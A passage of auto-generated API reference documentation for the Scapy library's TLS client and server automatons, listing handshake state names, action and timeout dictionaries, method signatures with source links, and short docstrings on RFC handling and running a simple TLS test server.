<function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_WAITING_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'STOP': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_ADDED_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_ADDED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_ADDED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_ADDED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CERTIFICATEREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CERTIFICATE_VERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_CHANGE_CIPHER_SPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_ENCRYPTEDEXTENSIONS': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_FINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HANDLED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_HELLO_RETRY_REQUESTED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_PREPARE_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_RECEIVED_NEW_SESSION_TICKET': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_RECEIVED_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_SENDING_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_SENT_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_SENT_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_START': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'TLS13_WAITING_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_SERVERFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAIT_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'ADDED_CERTIFICATEVERIFY': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_CLIENTCERTIFICATE': [], 'ADDED_CLIENTDATA': [], 'ADDED_CLIENTFINISHED': [], 'ADDED_CLIENTHELLO': [], 'ADDED_CLIENTKEYEXCHANGE': [], 'CLOSE_NOTIFY': [], 'CONNECT': [], 'FINAL': [], 'HANDLED_CERTIFICATEREQUEST': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_SERVERCERTIFICATE': [], 'HANDLED_SERVERDATA': [], 'HANDLED_SERVERFINISHED': [], 'HANDLED_SERVERHELLO': [], 'HANDLED_SERVERHELLODONE': [], 'HANDLED_SERVERKEYEXCHANGE': [], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_SERVERCERTIFICATE': [], 'MISSING_SERVERHELLO': [], 'MISSING_SERVERKEYEXCHANGE': [], 'PREPARE_CLIENTFLIGHT1': [], 'PREPARE_CLIENTFLIGHT2': [], 'RECEIVED_SERVERDATA': [], 'RECEIVED_SERVERFLIGHT1': [], 'RECEIVED_SERVERFLIGHT2': [], 'SENT_CLIENTDATA': [], 'SENT_CLIENTFLIGHT1': [], 'SENT_CLIENTFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_CLIENTCERTIFICATE': [], 'SSLv2_ADDED_CLIENTDATA': [], 'SSLv2_ADDED_CLIENTFINISHED': [], 'SSLv2_ADDED_CLIENTHELLO': [], 'SSLv2_ADDED_CLIENTMASTERKEY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_HANDLED_REQUESTCERTIFICATE': [], 'SSLv2_HANDLED_SERVERDATA': [], 'SSLv2_HANDLED_SERVERFINISHED': [], 'SSLv2_HANDLED_SERVERHELLO': [], 'SSLv2_HANDLED_SERVERVERIFY': [], 'SSLv2_MISSING_SERVERFINISHED': [], 'SSLv2_MISSING_SERVERHELLO': [], 'SSLv2_MISSING_SERVERVERIFY': [], 'SSLv2_PREPARE_CLIENTHELLO': [], 'SSLv2_RECEIVED_SERVERDATA': [], 'SSLv2_RECEIVED_SERVERFINISHED': [], 'SSLv2_RECEIVED_SERVERHELLO': [], 'SSLv2_RECEIVED_SERVERVERIFY': [], 'SSLv2_SENT_CLIENTCERTIFICATE': [], 'SSLv2_SENT_CLIENTDATA': [], 'SSLv2_SENT_CLIENTFINISHED': [], 'SSLv2_SENT_CLIENTHELLO': [], 'SSLv2_SENT_CLIENTMASTERKEY': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_SERVERDATA': [], 'SSLv2_WAITING_SERVERFINISHED': [], 'SSLv2_WAITING_SERVERHELLO': [], 'SSLv2_WAITING_SERVERVERIFY': [], 'STOP': [], 'TLS13_ADDED_CERTIFICATEVERIFY': [], 'TLS13_ADDED_CLIENTCERTIFICATE': [], 'TLS13_ADDED_CLIENTFINISHED': [], 'TLS13_ADDED_CLIENTHELLO': [], 'TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1': [], 'TLS13_HANDLED_CERTIFICATE': [], 'TLS13_HANDLED_CERTIFICATEREQUEST': [], 'TLS13_HANDLED_CERTIFICATE_VERIFY': [], 'TLS13_HANDLED_CHANGE_CIPHER_SPEC': [], 'TLS13_HANDLED_ENCRYPTEDEXTENSIONS': [], 'TLS13_HANDLED_FINISHED': [], 'TLS13_HANDLED_SERVERHELLO': [], 'TLS13_HELLO_RETRY_REQUESTED': [], 'TLS13_PREPARE_CLIENTFLIGHT2': [], 'TLS13_RECEIVED_NEW_SESSION_TICKET': [], 'TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST': [], 'TLS13_RECEIVED_SERVERFLIGHT1': [], 'TLS13_SENDING_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT2': [], 'TLS13_START': [], 'TLS13_WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERDATA': [], 'WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERFLIGHT2': [], 'WAIT_CLIENTDATA': []}

	




	
tls13_missing_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1321-L1324]

	




	
tls13_missing_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1218-L1220]

	




	
tls13_missing_encryptedExtension()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1272-L1275]

	




	
tls13_should_add_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1346-L1370]

	If the server sent a CertificateRequest, we send a Certificate message.
If no certificate is available, an empty Certificate message is sent:
- this is a SHOULD in RFC 4346 (Section 7.4.6)
- this is a MUST in RFC 5246 (Section 7.4.6)

XXX We may want to add a complete chain.






	
tls13_should_add_ClientCertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1381-L1391]

	XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify
message is only sent following a client certificate that has signing
capability (i.e. not those containing fixed DH params).
We should verify that before adding the message. We should also handle
the case when the Certificate message was empty.






	
tls13_should_add_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1397-L1400]

	




	
tls13_should_add_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1068-L1154]

	




	
tls13_should_add_ClientHello_Retry()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1226-L1251]

	




	
tls13_should_handle_AlertMessage_()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1200-L1203]

	




	
tls13_should_handle_Certificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1308-L1310]

	




	
tls13_should_handle_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1316-L1319]

	




	
tls13_should_handle_Certificate_from_CertificateRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1304-L1306]

	




	
tls13_should_handle_ChangeCipherSpec()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1262-L1265]

	




	
tls13_should_handle_ChangeCipherSpec_after_tls13_retry()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1205-L1210]

	




	
tls13_should_handle_HelloRetryRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1191-L1198]

	XXX We should check the ServerHello attributes for discrepancies with
our own ClientHello.






	
tls13_should_handle_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1182-L1189]

	XXX We should check the ServerHello attributes for discrepancies with
our own ClientHello.






	
tls13_should_handle_certificateRequest_from_encryptedExtensions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1281-L1288]

	XXX We should check the CertificateRequest attributes for discrepancies
with the cipher suite, etc.






	
tls13_should_handle_certificate_from_encryptedExtensions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1290-L1292]

	




	
tls13_should_handle_encrytpedExtensions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1257-L1260]

	




	
tls13_should_handle_finished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1330-L1333]

	




	
tls13_should_handle_finished_from_encryptedExtensions()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1294-L1298]

	




	
tls13_should_send_ClientFlight1()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1164-L1167]

	




	
tls13_should_send_ClientFlight2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1406-L1409]

	




	
tls13_should_skip_ClientCertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1376-L1379]

	




	
tlslink = <scapy.automaton._ATMT_to_supersocket object>

	




	
vprint_sessioninfo()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L191-L209]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.automaton_srv

TLS server automaton. This makes for a primitive TLS stack.
Obviously you need rights for network access.

We support versions SSLv2 to TLS 1.3, along with many features.

In order to run a server listening on tcp/4433:

from scapy.layers.tls import *
t = TLSServerAutomaton(mycert='<cert.pem>', mykey='<key.pem>')
t.run()






	
class scapy.layers.tls.automaton_srv.TLSServerAutomaton(self, server='127.0.0.1', sport=4433, mycert=None, mykey=None, preferred_ciphersuite=None, client_auth=False, is_echo_server=True, max_client_idle_time=60, handle_session_ticket=None, session_ticket_file=None, curve=None, cookie=False, psk=None, psk_mode=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L66-L1401]

	Bases: _TLSAutomaton

A simple TLS test server automaton. Try to overload some states or
conditions and see what happens on the other side.

Because of socket and automaton limitations, for now, the best way to
interrupt the server is by sending him ‘stop_server’. Interruptions with
Ctrl-Z should work, but this might leave a loose listening socket behind.

In case the server receives a TLSAlert (whatever its type), or a ‘goodbye’
message in a SSLv2 version, he will close the client session with a
similar message, and start waiting for new client connections.

_’mycert’ and ‘mykey’ may be provided as filenames. They are needed for any
server authenticated handshake.
_’preferred_ciphersuite’ allows the automaton to choose a cipher suite when
offered in the ClientHello. If absent, another one will be chosen.
_’client_auth’ means the client has to provide a certificate.
_’is_echo_server’ means that everything received will be sent back.
_’max_client_idle_time’ is the maximum silence duration from the client.
Once this limit has been reached, the client (if still here) is dropped,
and we wait for a new connection.


	
ADDED_CERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CERTIFICATEREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_SERVERHELLODONE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_SERVERKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
BIND(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
CLOSE_NOTIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
CLOSE_NOTIFY_FINAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
FINAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_ALERT_FROM_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_ALERT_FROM_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CLIENTKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
INITIAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
INIT_TLS_SESSION(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_CLIENTKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
NO_USABLE_CIPHERSUITE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
PREPARE_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
PREPARE_SERVERFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_SERVERFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SOCKET_CLOSED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_REQUESTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_CLOSE_NOTIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_CLOSE_NOTIFY_FINAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_REQUESTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_MISSING_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_CLIENT(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'close_session': [], 'close_session_final': [], 'missing_ChangeCipherSpec': [], 'missing_ClientFinished': [], 'missing_ClientHello': [], 'missing_ClientKeyExchange': [], 'missing_ClientMasterKey': [], 'no_CertificateVerify': [], 'no_ClientCertificate': [], 'should_add_Certificate': [], 'should_add_CertificateRequest': [], 'should_add_ChangeCipherSpec': [], 'should_add_ServerFinished': [], 'should_add_ServerHello': [], 'should_add_ServerHelloDone': [], 'should_add_ServerKeyExchange': [], 'should_handle_Alert_from_ClientCertificate': [], 'should_handle_Alert_from_ClientFinished': [], 'should_handle_Alert_from_ClientKeyExchange': [], 'should_handle_CertificateVerify': [], 'should_handle_ChangeCipherSpec': [], 'should_handle_ClientCertificate': [], 'should_handle_ClientData': [], 'should_handle_ClientFinished': [], 'should_handle_ClientHello': [], 'should_handle_ClientKeyExchange': [], 'should_send_ServerData': [], 'should_send_ServerFlight1': [], 'should_send_ServerFlight2': [], 'sslv2_close_session': [], 'sslv2_close_session_final': [], 'sslv2_missing_ClientCertificate': [], 'sslv2_missing_ClientFinished': [], 'sslv2_should_add_RequestCertificate': [], 'sslv2_should_add_ServerFinished': [], 'sslv2_should_add_ServerHello': [], 'sslv2_should_add_ServerVerify_from_ClientFinished': [], 'sslv2_should_add_ServerVerify_from_NoClientFinished': [], 'sslv2_should_handle_ClientCertificate': [], 'sslv2_should_handle_ClientData': [], 'sslv2_should_handle_ClientFinished': [], 'sslv2_should_handle_ClientHello': [], 'sslv2_should_handle_ClientMasterKey': [], 'sslv2_should_send_RequestCertificate': [], 'sslv2_should_send_ServerData': [], 'sslv2_should_send_ServerFinished': [], 'sslv2_should_send_ServerHello': [], 'sslv2_should_send_ServerVerify': [], 'tls13_no_ClientCertificate': [], 'tls13_no_Client_CertificateVerify': [], 'tls13_should_add_Certificate': [], 'tls13_should_add_CertificateRequest': [], 'tls13_should_add_CertificateVerifiy': [], 'tls13_should_add_EncryptedExtensions': [], 'tls13_should_add_Finished': [], 'tls13_should_add_HelloRetryRequest': [], 'tls13_should_add_ServerHello': [], 'tls13_should_add_ServerHello_from_HRR': [], 'tls13_should_handle_Alert_from_ClientCertificate': [], 'tls13_should_handle_ClientCCS': [], 'tls13_should_handle_ClientCertificateVerify': [], 'tls13_should_handle_ClientFinished': [], 'tls13_should_handle_ClientFlight2': [], 'tls13_should_handle_ClientHello': [], 'tls13_should_send_ServerFlight1': []}

	




	
breakpoints: Set[_StateWrapper]

	




	
close_session()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1068-L1078]

	




	
close_session_final()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1085-L1096]

	




	
